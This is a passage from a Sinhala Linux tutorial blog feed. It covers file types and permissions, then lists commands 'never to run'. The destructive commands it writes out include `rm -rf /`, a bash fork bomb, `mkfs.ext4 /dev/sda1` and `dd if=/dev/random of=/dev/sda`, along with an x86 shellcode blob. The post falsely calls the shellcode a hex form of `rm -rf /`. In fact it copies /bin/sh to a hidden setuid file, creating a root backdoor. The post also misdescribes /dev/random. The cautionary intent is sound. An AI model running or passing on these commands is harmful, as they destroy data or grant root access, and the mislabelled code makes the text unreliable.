&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Ordinary files - සාමාන්‍යය ෆයිල්ස්.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;අකුරු අඩංගු ලියවිල්ලක්, යම් කිසි දත්තයන් හෝ කිසියම් වැඩසටහනක් හෝ මෘදුකාංගයක තොරතුරු යනාදි සියලුම දේවල සාමාන්‍යය ෆයිල් එකක අඩංගු විය හැකිය.&lt;br /&gt;&lt;i&gt;&lt;b&gt;සාමාන්‍යය ෆයිල් එකක් තුල තවත් ෆයිල් එකක් හෝ ගොනුවක් අඩංගු කරගත නොහැක.&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Directories - ගොනු (ෆෝල්ඩර/ඩිරෙක්ටර).&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;තවත් ගොනුවක් හෝ කිහිපයක් හෝ ෆයිල්ස් ගොනුවක අන්තර්ගතය වියහැක.&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Devices - උපකරණ.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;අප භාවිතා කරන උපකරණයක්/දෘඩාංගයක් &lt;b&gt;ලිනක්ස්&lt;/b&gt; හෝ &lt;b&gt;Unix&lt;/b&gt; වැනි පද්ධති වල දී 
ෆයිල් එකක් ලෙස හැසිරවීමට හැකිය. මෙසේ හැසිරවිය හැකි උපකරණ මූලිකව වර්ග &lt;b&gt;
දෙකකට&lt;/b&gt; බෙදා දැක්විය හැකිය.&lt;br /&gt;&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;block-oriented devices.&lt;/span&gt;&lt;/u&gt;&lt;br /&gt; &lt;/b&gt;&lt;/span&gt;මෙම උපකරණ පද්ධතිය සමඟ දත්ත හුවමාරු කරන්නේ දත්ත කාණ්ඩ වශයෙනි.&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;i&gt;උදාහරණ වශයෙන් දෘඩතැටිය දැක්විය හැකිය.&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;&lt;b&gt;character-oriented devices.&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;මෙම උපකරණ පද්ධතිය සමඟ දත්ත හුවමාරු කරන්නේ බිටුවෙන් බිටුවෙන් ක්‍රමය මූලික කරගෙනය (byte-by-byte).&lt;br /&gt;&lt;i&gt;උදාහරණ වශයෙන් මොඩමය සැලකිය හැකිය.&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Links - සම්බන්ධක.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;තවත් ෆයිල් එකකට සම්බන්ධ වියහැකි සම්බන්ධක. මේවාත් පහත පරිදි වර්ග &lt;b&gt;දෙකකට&lt;/b&gt; වෙන් කල හැකිය.&lt;br /&gt;&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;&lt;b&gt;දෘඩ සම්බන්ධක (Hard-links)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;අදාල ෆයිල් එකින් වෙන්කර දැක්විය නොහැකි එහිම පවතින සම්බන්ධක.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;&lt;b&gt;මෘදු සම්බන්ධක (Soft-links)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;අදාල ෆයිල් එකට පිටින් ඇති සම්බන්ධක.&lt;br /&gt;&lt;i&gt;Shortcut යනුවෙන්ද මේවා හැඳින්විය හැකිය.&lt;/i&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
ඉහත විස්තර කර ඇත්තේ ලිනක්ස් පද්ධතියක අප විසින් භාවිතා කරන ෆයිල් වර්ග පිළිබඳව කෙටි විස්තරයකි. මේ පිළිබඳ අවබෝධය ඉදිරියේදී ප්‍රයෝජනවත් වේවී.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;මොකක්ද මේ අවසර &lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;තත්වයන් සහ හිමිකාරිත්වය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;හොඳයි අපි මෙහෙම පටන් ගමුකෝ.. ඔබට කවදහරි ඔබේ &lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියේ කිසියම් ගොනුවක් හෝ ෆයිල් එකක් පරීක්ෂා කිරීමට හෝ වෙනස් කිරීමට අවසර නොමැති බව දන්වා පණිවිඩයක් ලැබී තිබේද..? පද්ධතිය භාවිතා කරන එකම පරිශීලකයා ඔබ වුවත් සමහර ෆයිල්ස් හෝ ගොනු වෙනස් කිරීමට හෝ පරික්ෂා කිරීමට නොහැකිද..? අපි කළින් &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/linux-learn-5.html&quot; target=&quot;_blank&quot;&gt;සුපර් යූසර් පිළිබඳව සාකච්ඡා කල ලිපියේ &lt;/a&gt;එවැනි ඔබට වෙනස් කිරීමට හෝ පරීක්ෂා කිරීමට නොහැකි ෆයිල්ස් හා ගොනු පිළිබඳව උදාහරණ සාකච්ඡා කලා මතකයිද...?&lt;br /&gt;
&amp;nbsp;ඇත්තෙන්ම &lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියක් නිර්මාණය වී තිබෙන්නේ බහු-පරිශීලක භාවිතය සඳහා උචිත අයුරිනි. එනම් පරිශීලකයන් එක්කෙනෙකු හෝ කිහිපදෙනෙකුට එකම පද්ධතියක් භාවිතා කල හැකි පරිදිය (&lt;b&gt;Multi-User&lt;/b&gt;). ඉතින් මෙහෙම පරිශීලකයින් කිහිපදෙනෙක් එකම පද්ධතියක් භාවිතා කරන විට එම&amp;nbsp; එක් එක පරිශීලකයාගේ දත්ත වල &lt;b&gt;ආරක්ෂාව&lt;/b&gt; පිළිබඳව විශේෂයෙන් සළකා පද්ධතිය නිර්මාණය කර ඇත.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;පද්ධතිය භාවිතා කරන්නේ එක පරිශීලකයෙකු පමණක් වුවත් ඔබට සියළුම ෆයිල්ස් වෙනස් කිරීමට හෝ පරීක්ෂා කිරීමට නොහැකි &lt;b&gt;සුපර් යූසර්&lt;/b&gt; හෙවත් සුපිරි පරිශීලකයාද මෙම පද්ධතියේම සිටින බැවිනි.&lt;br /&gt;
මෙසේ එක් එක් පරිශීලකයන්ට ෆයිල්ස් හැසිරවීමට ලැබෙන අවසරයන් ඒ ඒ පරිශීලකයාට අදාලව වෙනස් වන හෙයින් මෙසේ ෆයිල්ස් වල අවසර තත්වය හා හිමිකාරීත්වය පිළිබඳව විශේෂයෙන් සාකච්ඡා කල යුතුව ඇත.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;හිමිකම ගැන දැනගනිමු.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;ඔබගේ &lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියේ තිබෙන සෑම ෆයිල් එකක්ම යම් කිසි නියත පරිශිලකයෙකුට හා පරිශීලක කණ්ඩායමකට අයිති වේ.එම නිසා ෆයිල්ස් වල අවසර තත්වය පරිශිලකයන් (users), කණ්ඩායම් (groups) හා වෙනත් (others) ලෙස කොට්ඨාශ&amp;nbsp; තුනකට වෙන වෙනම බලපාන පරිදි අර්ථ දක්වා ඇත.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;user&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;ෆයිල් එක&amp;nbsp; නිර්මාණය කල පරිශිකයාගේ පරිශීලක නම.&lt;/b&gt;&lt;br /&gt;&lt;i&gt;සාමාන්‍යයෙන් යම් ෆයිල් එක නිර්මාණය කල පරිශීලකයාට අයිති වේ.&lt;/i&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;group&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;ෆයිල් එක අයිති පරිශීලක කණ්ඩායම.&lt;/b&gt;&lt;br /&gt;&lt;i&gt;කිසියම් ව්‍යාපෘතියක් සඳහා පරිශීලකයන් කිහිප දෙනෙක් එකතු වී වැඩ කරන අවස්ථාවක් සිතන්න. එවිට එම සියළුදෙනා එකම පරිශීලක කණ්ඩායමක සිටිනවා නම් ඒ සියළුදෙනාටම එකම අවසර තත්වයන් හිමි වේ.&lt;/i&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;other&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;ෆයිල් එක හෝ ගොනුව නිර්මාණය කල පරිශීලකයාට හෝ එම පරිශීලක කණ්ඩායම අයත් නොවන වෙනත් පාර්ශවයන්.&lt;/b&gt;&lt;br /&gt;&lt;i&gt;උදාහරණයක් ලෙස යම් කිසි වෙබ් අඩවියක් සිතන්න, එහි තිබෙන අන්තරගතය අපි විසින් නිර්මාණය නොකලත් අපිට එය පරික්ෂා කරන්න පුලුවන්නේ. එවිට අප එම ෆයිල්ස් භාවිතා කරන්නේ වෙනත් පාර්ශවය විදිහටයි.&lt;/i&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වයන් ගැන දැනගනිමු.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;මොනවද මේ ඉහත කියවුන &lt;b&gt;අවසර තත්වයන්&lt;/b&gt;. මෙම අවසර තත්වයන්ද කොටස් තුනකින් සමන්විතයි.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;Read Permission&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;එනම් ෆයිල්ස් &lt;b&gt;කියවීමට&lt;/b&gt; ඇති අවසරයි. මෙම අවසර ඇති ඕනෑම ෆයිල් එකක් එම ෆයිල් එකට ගැලපෙන මෘදුකාංගයක් භාවිතා කර කියවීමට පුලුවනි. ඒ කියන්නේ text ෆයිල් එකක් නම් cat විධානය මඟින් හෝ text-editor මෘදුකාංගයක් භාවිතා කිරීමෙන්, JPG ෆයිල් එකක් නම් කුමන හෝ Image-viewer මෘදුකාංගයක් භාවිතා කිරීමෙන්..... ආදි වශයෙන්.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;Write Permission&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;එනම් ෆයිල්ස් &lt;b&gt;වෙනස් කිරීමට&lt;/b&gt; ඇති අවසරයයි. මෙම අවසරය තිබෙන ෆයිල් එකකට අලුතින් යමක් එක් කිරීමට හෝ තිබෙන යම් දෙයක් වෙනස් කිරීමට හෝ ඉවත් කිරීමට අවසර ලැබේ.&lt;br /&gt;මෙම අවසර ඇත්තේ යම් කිසි ගොනුවකට නම් එම ගොනුවේ ඇති ෆයිල්ස් ඉවත් කිරීමට, වෙනස් කිරීමට හා අළුතින් එක් කිරීමට අවසර ලැබෙනු ඇති.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;Execute&amp;nbsp; Permission&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;මෙහි අර්ථය &lt;b&gt;ක්‍රියාත්මක කිරීමේ &lt;/b&gt;අවසරයයි. ඇත්තෙන්ම මෙම අවසරය අපිට &lt;i&gt;shell script &lt;/i&gt;වැනි දේවල් ක්‍රියාත්මක කිරීමේදී ගොඩාක් වැදගත් වෙනවා. මෙම අවසරය ලබා දුන් විට එම ෆයිල් එක හෝ එම අවසරය ලබාදුන් ගොනුවේ ඇති ෆයිල්ස් ක්‍රියාත්මක කිරීමට පුලුවනි. තවද මෙම අවසරය යම් ඩිරෙක්ටරයකට ලබා දුන් විට එම ඩිරෙක්ටරයේ දත්ත පරීක්ෂා කිරීමට හෝ වෙනස් කිරීමට අවශ්‍යය විධාන (cd, ls, cp, mv, rm...වැනි විධාන) ක්‍රියාත්මක කිරීමේ අවසරයද හිමි වෙනවා.&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt;සටහන&lt;/span&gt; : මෙම ක්‍රියාත්මක කිරීමේ අවසරය ඉතාමත් වැදගත් එකකි. මෙම අවසරය නැති කිසිම වැඩසටහනක්, ෆයිල් එකක් ලිනක්ස් තුලදී ක්‍රියාත්මක කල නොහැකිය. ලිනක්ස් වලට වෛරස් වැනි කරදරකාරී වැඩසටහන් මඟින් හානි සිදුකිරීමට ඇති අවස්ථාව අඩු වන්නේ මේ හේතුව නිසාය.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
දැන් ඔබට ලිනක්ස් පද්ධතියක භාවිතා කරන ෆයිල් වර්ග හා ඒවායේ හිමිකාරීත්වයන් හා අවසර තත්වයන් පිළිබඳව මූලික වැටහීමක් තිබෙනවා. ඔබේ පද්ධතියේ පවතින ෆයිල්ස් වල වර්ගය, හිමිකාරීත්වය සහ අවසර තත්වය පරීක්ෂා කරන ආකාරය හා ඒවා වෙනස් කරන ආකාරය &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-7.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;මීළඟ ලිපියෙන්&lt;/b&gt;&lt;/a&gt; සාකච්ඡා කරමු.&lt;br /&gt;
&lt;ol&gt;
&lt;/ol&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/10/learn-linux-6.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-4349181681367271978</guid><pubDate>Mon, 01 Oct 2012 15:50:00 +0000</pubDate><atom:updated>2012-10-08T19:50:38.031+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">superuser</category><category domain="http://www.blogger.com/atom/ns#">නොකලයුතු දේවල්</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ඉතාමත් ප්‍රවේශමෙන්. - කිසිවිටෙක නොකල යුතු විධාන.</title><description>දැන් ඉතිං විධාන ගැනත් සුපර් යූසර් ගැනත් තරමක් දුරට දැනගෙනනේ ඉන්නේ. සුපර් යූසර් විදිහට පද්ධතිය භාවිතා කරන විට ඉතා ප්‍රවේශමෙන් විධාන කල යුතුය. නැත්නම් පද්ධතිය නැවත භාවිතා කිරීමට නොහැකි ලෙසටම විනාශ වී යා හැකිය. අද කථා කරන්න යන්නේ කිසිදිනක භාවිතා නොකල යුතු විධාන කිහිපයක් පිළිබඳවයි. ඒවා පහත එකිනෙක විස්තර කර ඇත.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;rm -rf / විධානය. - හැමදේම නැති කරයි.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;කිසි විටකත් &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;code&gt;:~# rm -rf /&lt;/code&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; විධානය භාවිතා නොකරන්න. මෙම විධානය අර්ථය පහත දක්වා ඇත.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote&gt;
&lt;b&gt;rm&lt;/b&gt; – දෙනු ලබනෆයිල්ස් ස්ථීරවම ඉවත් කරන්න.&lt;br /&gt;
&lt;b&gt;-rf&lt;/b&gt; – මෙම විකල්ප විධානයන්ගේ තේරුම. සියලුම ෆෝල්ඩර හා ඒවායේ උප-ෆෝල්ඩර වල අන්තර්ගත සියළුම දත්ත තහවරු කිරීමකින් තොරව සම්පූර්ණයෙන්ම ඉවත් කරන්න.&lt;br /&gt;
&lt;b&gt;/&lt;/b&gt; – මෙයින් කියවෙන්නේ මෙම විධානය / හෙවත් රූට් ෆෝල්ඩරයෙන් පටන් ගන්න කීයලා. &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html&quot; target=&quot;_blank&quot;&gt;රූට් ෆෝල්ඩරය&lt;/a&gt; කියන්නේ ලිනක්ස් පද්ධතියක සියළුම දේවල් අඩංගු ප්‍රධාන ගොනුව.&lt;/blockquote&gt;
&lt;/blockquote&gt;
&amp;nbsp;බැරි වෙලාවත් මෙම විධානය ධාවනය කලහොත් ඔබට ඔබේ පද්ධතිය නැවත ස්ථාපනය කිරීමට සිදුවේ.&lt;br /&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;මෙම විධානය ක්‍රියාත්මක කිරීම සඳහා සුපර් යූසර් වීම අත්‍යාවශ්‍යය වේ. එම නිසා අත් වැරද්දකින් මෙය සිදුවීමට තිබෙන ඉඩකඩ අඩුය. නමුත් පෙර &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/linux-learn-5.html&quot; target=&quot;_blank&quot;&gt;සුපර් යූසර් ලිපියේ&lt;/a&gt; සඳහන් කල පරිදි ඔබ වරක් සුපර් යූසර් වී log-out නොවුන හොත් ඕනෑම කෙනෙකුට මෙම විධානය පහසුවෙන් ක්‍රියාත්මක කර ඔබගේ සම්පූරණ පද්ධතියම විනාශ කල හැකිය.&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;rm -rf / විධානයේ අප්‍රකට ආකාරයක්.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;කිසිවිටකත් පහත ආකාරයේ විධාන ක්‍රියාත්මක නොකරන්න.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;char esp[] __attribute__ ((section(“.text”))) /* e.s.p&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;release */&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“\x6e\x2f\x73\x68\x00\x2d\x63\x00″&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;“cp -p /bin/sh /tmp/.beyond; chmod 4755&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;/tmp/.beyond;”;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&amp;nbsp;මේ තිබෙන්නේ ඉහත සාකච්ඡා කල &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;rm -rf /&lt;/b&gt;&lt;/span&gt; විධානයේම වෙනත් ආකාරයක්. ඇත්තටම් මේ තියෙන්නේ &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;rm -rf /&lt;/b&gt;&lt;/span&gt; විධානයේ hex version එකය.&lt;br /&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;මෙවැනි විධාන හෝ මෙවැනි කේතයක් ඇතුලත් කුමන හෝ විධානයක් ක්‍රියාත්මක් කිරීමෙන් වැලකීම නුවණට හුරුය. ඔබ ලිනක්ස් වල ප්‍රවීණයෙක් නම් හෝ ඔබට කරන්න යන දේ හොඳටම විශ්වාසී නම් පමණක් මෙවැනි hex ආකාරයේ විධාන භාවිතා කරන්න.&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;bash අතු බෝම්බය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;අපි bash කියන්නේ මොකද්ද කියලා පසුව සවිස්තරත්මකව කථා කරමු. දැන් මේ පහත තිබෙන කේතය දිහා බලන්න. &lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;:(){ :|: &amp;amp; };:&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
බැලූබැල්මට නම් හරිම සරල තනි පේළියේ විධානයක් වගේ. නමුත් මෙම විධානයෙන් කරන්න පුලුවන් විනාශය ඉතා විශාලයි.&lt;br /&gt;මේ කුඩා පේළියෙන් අලුත් bash function එකක් නිර්මාණය කරනවා. ඒ එකෙන් සිදුවන්නේ එම function එකම යලි යලිත් නිර්මාණය වී, පිටපත් වෙවී ක්‍රියාත්මක වීමය. එනම් පහත රූපයේ පරිදි අතු බෙදෙන ආකාරයට.මෙසේ මෙම function එක ක්‍රියාත්මක වන විට අපගේ මධ්‍ය සකසනය (CPU) වගේම තාවකාලික මතකයද (RAM) සිය උපරිමයෙන් ක්‍රියාත්මක වී පරිගණකය අකර්මණ්‍ය වනවා.&lt;br /&gt;&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/5/52/Fork_bomb.svg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;196&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/5/52/Fork_bomb.svg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;&lt;br /&gt;ඉතාම කුඩා bash function එකක් පවා අති ප්‍රබලය. එම නිසා ඉතාම ප්‍රවේශමෙන් bash function සමඟ ගනුදෙනු කරන්න.&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;mkfs.ext4 හාඩ් ඩිස්ක් ෆෝමැට් කරයි.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;කිසි විටෙක &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;:~# mkfs.ext4 /dev/sda1&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; වැනි විධාන ක්‍රියාත්මක නොකරන්න. මෙම විධානය පහත අර්ථ පැහැදිලි කර ඇත.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote&gt;
&lt;b&gt;mkfs.ext4&lt;/b&gt; – දෙනු ලබන උපකරණයක් සඳහා (බොහෝ විට ද්‍රඩ තැටි සඳහා) ext4 ආකාරයේ නව ෆයිල් පද්ධතියක් නිර්මාණය කරයි.&lt;br /&gt;
&lt;b&gt;/dev/sda1&lt;/b&gt; – අප භාවිතා කරන දෘඩ තැටියේ පළමු පාටිශන් එක.&lt;/blockquote&gt;
&lt;/blockquote&gt;
&amp;nbsp;එනම් ඉහත විධානය අනුව අපගේ පද්ධතියේ boot files පවා තිබෙන මුල් පාටිශන් එක ෆෝමැට් වීම සිදුවේ. සිදුවන විනාශය කියන්න ඕනේ නෑනේ.&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&amp;nbsp;කිසිම විටක කෙලින්ම /dev/sd* ආකාරයේ ගොනු සමඟ සෘජු විධාන භාවිතයෙන් වළකින්න.&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;dd ප්‍රාථමික මට්ටමින් ෆයිල්ස් කොපි කරයි.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;dd&lt;/b&gt;&lt;/span&gt; විධානයෙන් සිදුවන්නේ ප්‍රථමික මට්ටමේ පිටපත් කිරීම්ය. උදාහරණයක් ලෙස පහත විධානය බලන්න.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;dd if=/dev/random of=/dev/sda&lt;/b&gt;&lt;/span&gt; මෙහි අර්ථය,&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote&gt;
&lt;b&gt;dd&lt;/b&gt; – එක ස්ථානයක සිට දෙනු ලබන ස්ථානයක් දක්වා ප්‍රාථමික මට්ටමින් කොපි කිරීම සිදු කරයි.&lt;br /&gt;
&lt;b&gt;if=/dev/random&lt;/b&gt; – කොපි කලයුතු ෆයිල්ස් ලෙස එනම් ආදාන මූලාශ්‍රය ලෙස /dev/random ස්ථානයේ තිබෙන දත්ත විධානයට ලබදෙයි. මෙම ස්ථානයේ බොහෝවිට තිබෙන්නේ බිංදු වලින් පිරුනු වැඩකට නැති දත්ත වේ. /dev/zero ස්ථානයද එවැනි දත්ත තිබෙන ස්ථානයකි.&lt;br /&gt;
&lt;b&gt;of=/dev/sda&lt;/b&gt; – දත්ත පිටපත් වීම සිදුවිය යුතු ස්ථානයයි මෙහි දක්වා තිබෙන්නේ. /dev/sda කියන්නේ අපි දැන් වැඩ කරන ප්‍රයෝජනයට ගන්න පාටිශන් එකක්ය.&lt;/blockquote&gt;
&lt;/blockquote&gt;
